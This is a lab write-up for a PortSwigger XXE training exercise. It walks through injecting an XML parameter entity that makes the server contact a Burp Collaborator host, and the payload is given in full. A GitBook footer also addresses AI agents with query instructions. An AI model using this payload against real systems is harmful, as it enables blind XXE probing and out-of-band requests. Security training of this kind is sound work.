> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-xxe-labs/lab-3.md).

# lab-3

## Blind XXE with Out-of-Band Interaction via XML Parameter Entities

**Difficulty:** Practitioner

### Lab Description

This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values in the response, and blocks requests containing regular external entities.

**Objective:** Use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=1
```

Click **Check stock**, then intercept the request in Burp Suite. You'll see an XML body like this:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 2 — Inject a parameter entity pointing to Burp Collaborator**

Since regular external entities are blocked, use an XML *parameter* entity instead (declared with `%` and only valid inside the DTD itself). Insert this `DOCTYPE` before `<stockCheck>`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://your-collaborator-id.oastify.com"> %xxe; ]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 3 — Confirm the interaction**

Send the request, then check the **Burp Collaborator client**. A DNS lookup and HTTP request from the lab server confirms the blind XXE was successfully triggered.

### Conclusion

Even though the application doesn't reflect external entity values and blocks general entities, parameter entities are processed independently within the DTD, providing an out-of-band channel to confirm blind XXE.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-xxe-labs/lab-3.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
